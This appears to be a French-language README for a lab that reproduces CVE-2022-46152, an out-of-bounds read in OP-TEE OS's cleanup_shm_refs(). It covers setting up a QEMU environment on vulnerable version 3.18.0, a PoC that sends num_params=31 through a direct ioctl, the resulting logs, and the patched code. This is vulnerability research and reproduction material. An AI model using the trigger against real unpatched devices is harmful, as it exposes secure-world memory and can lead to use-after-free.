
CVE-2022-46152 : Validation incorrecte de l'index de tableau dans la fonction `cleanup_shm_refs'.
OP-TEE OS cleanup_shm_refs() Lecture hors limites — Environnement de reproduction
Référence : https://optee.readthedocs.io/en/latest/building/devices/qemu.html#qemu-v8
Avis de sécurité : https://github.com/OP-TEE/optee_os/security/advisories/GHSA-65w8-6mrg-52g7
| Champ | Détails |
|---|---|
| Vulnérabilité | La fonction cleanup_shm_refs() ne valide pas num_params (théoriquement jusqu’à 127 ; limité à 31 en pratique par la limite TEE_MAX_ARG_SIZE=1024 de l’ioctl TEE du noyau Linux), tandis que saved_attr[] n’a que 4 éléments |
| Versions affectées | OP-TEE OS < 3.19.0 |
| Condition de déclenchement | Le monde normal envoie une requête INVOKE avec num_params=31 via un ioctl direct (en contournant la limite de 4 paramètres de libteec) |
| Impact | Lecture hors limites de données de la pile du monde sécurisé ; si une valeur résiduelle de la pile correspond à un type TMEM, une Use-After-Free est déclenchée |
| Correctif | cleanup_shm_refs(MIN(TEE_NUM_PARAMS, num_params), ...) (commit 728616b) |
CVE-2022-46152/
├── README.md # Ce fichier (anglais)
├── README.zh.md # Version chinoise
├── setup.sh # Configuration de l’environnement en une commande
├── run_qemu.sh # Lancement de QEMU
├── exploit.sh # Script de reproduction automatisé / manuel
├── cve-2022-46152-oob-emsg.patch # Correctif de débogage OP-TEE OS (entry_std.c OOB EMSG)
├── qemu-pflash-suppress-unimp-log.patch # Correctif QEMU (suppression des logs parasites pflash_write)
├── poc/
│ ├── cve_2022_46152.c # Code source du PoC (ioctl direct contournant libteec)
│ └── Makefile # Makefile de cross-compilation
├── docs/
│ └── vulnerability_analysis.md # Analyse technique détaillée de la vulnérabilité
└── optee/ # Environnement OP-TEE (créé par setup.sh)
├── optee_os/ # OP-TEE OS 3.18.0 (version vulnérable)
├── build/ # Système de compilation (qemu_v8.mk)
├── linux/ # Noyau Linux
├── buildroot/ # Buildroot rootfs
├── trusted-firmware-a/ # TF-A v2.6
├── qemu/ # QEMU v7.0.0 (source)
└── out/bin/ # Artefacts de compilation
├── bl1.bin # TF-A BL1
├── Image # Image du noyau Linux
└── rootfs.cpio.gz # rootfs contenant le PoC
# Ubuntu/Debian
sudo apt-get install -y \
repo git make python3 \
aarch64-linux-gnu-gcc \
device-tree-compiler \
libglib2.0-dev libpixman-1-dev \
netcat-openbsd expect
# Vérification
aarch64-linux-gnu-gcc --version
repo --version
cd CVE-2022-46152
mkdir -p optee
cd optee
repo init -u https://github.com/OP-TEE/manifest.git -m qemu_v8.xml -b 3.18.0
cd ..
Remarque : Utilisez le tag
3.18.0. Cette version contient la vulnérabilité CVE-2022-46152 et n’a pas encore reçu le correctif.
./setup.sh
Ce script va :
repo sync pour récupérer tout le code sourceoptee/toolchains/ existe déjà, sinon télécharge automatiquement)make all pour compiler TF-A, OP-TEE OS 3.18.0, Linux et Buildroot# Ouvrez trois terminaux :
# Terminal 1 — Démarrez QEMU :
./run_qemu.sh --no-gdb
# Terminal 2 — Console du monde normal (exécutez après le démarrage de run_qemu.sh) :
python3 optee/build/soc_term.py 54320
# Terminal 3 — Monde sécurisé (logs OP-TEE, exécutez après le démarrage de run_qemu.sh) :
python3 optee/build/soc_term.py 54321
Remarque :
run_qemu.shdémarre en internesoc_term.pyen mode serveur écoutant sur 54320/54321, avec QEMU se connectant en tant que client. Les commandes ci-dessus sont des exemples pour se connecter à une instance en cours d’exécution et ne sont généralement pas nécessaires à exécuter manuellement.
# Dans le terminal du monde normal (54320), après l’apparition de l’invite de connexion :
(none) login: root
# Exécutez le PoC
/root/cve_2022_46152
=== CVE-2022-46152 PoC Exploit ===
OP-TEE cleanup_shm_refs() Out-of-Bounds Read
Affected: OP-TEE OS < 3.19.0
[+] Opened /dev/tee0
[*] Opening session to Hello World TA...
[+] Session opened: id=2
[*] Triggering vulnerability: invoking with num_params=31
[*] saved_attr[] has only 4 slots -> reading 27 extra stack words OOB
[*] Buffer size: 1016 bytes (TEE_MAX_ARG_SIZE limit: 1024)
[+] ioctl returned: ret=0xffff0006 origin=0x3
[+] VULNERABILITY TRIGGERED!
[+] TEE returned TEE_ERROR_BAD_PARAMETERS (0xFFFF0006)
[+] entry_invoke_command() rejected num_params=31,
[+] but cleanup_shm_refs(31, saved_attr[4], ...) ran OOB!
[*] Check the Secure World UART (port 54321) for crash details.
[*] Done. Check secure world UART output for OOB/abort evidence.
Remarque :
TEE_MAX_ARG_SIZE=1024limite un seul ioctl à 31 paramètres au maximum (libteec plafonne à 4). Même ainsi,num_params=31suffit pour déclencher la lecture hors limites (lecture desaved_attr[4..30], soit 27 éléments hors limites).
I/TC: OP-TEE version: 3.18.0 (...)
...
I/TA: Hello World!
E/TC:? 0 entry_invoke_command:452 CVE-2022-46152: OOB! cleanup_shm_refs num_params=31 > TEE_NUM_PARAMS=4
D/TC:? 0 tee_ta_close_session:511 csess ... id 2
I/TA: Goodbye!
La ligne d’avertissement
E/TC:? 0 entry_invoke_command:452 CVE-2022-46152: OOB!est un log explicite ajouté àentry_std.cvia le correctifcve-2022-46152-oob-emsg.patchpour confirmer le chemin de déclenchement de la vulnérabilité.cleanup_shm_refslit 27 éléments supplémentaires hors limites sur la pile ; si une valeur résiduelle de la pile correspond à un type TMEM, un Use-After-Free parmobj_put()peut être déclenché.
/* core/tee/entry_std.c */
static TEE_Result entry_invoke_command(struct optee_msg_arg *arg)
{
uint32_t saved_attr[TEE_NUM_PARAMS]; /* seulement 4 emplacements ! */
...
res = copy_in_params(arg->params, arg->num_params, params, saved_attr);
if (res != TEE_SUCCESS) {
/* ❌ BUG : num_params peut être 127, lecture hors limites de saved_attr[4..126] */
cleanup_shm_refs(arg->num_params, saved_attr, arg->params);
goto out;
}
...
}
if (res != TEE_SUCCESS) {
/* ✅ CORRECTIF : MIN(4, 127) = 4, plus hors limites */
cleanup_shm_refs(MIN(TEE_NUM_PARAMS, num_params), saved_attr, arg->params);
goto out;
}
# Configurez l’environnement
./setup.sh
# Démarrez QEMU (avec port de débogage GDB)
./run_qemu.sh
# Démarrez QEMU (sans attendre GDB)
./run_qemu.sh --no-gdb
# Affichez les étapes de reproduction manuelle
./exploit.sh --manual
# Reproduction automatisée (pas de terminaux supplémentaires, sortie dans le terminal courant)
./exploit.sh
# Connectez-vous à la console du monde normal (après le démarrage de run_qemu.sh)
python3 optee/build/soc_term.py 54320
# Connectez-vous au log du monde sécurisé (après le démarrage de run_qemu.sh)
python3 optee/build/soc_term.py 54321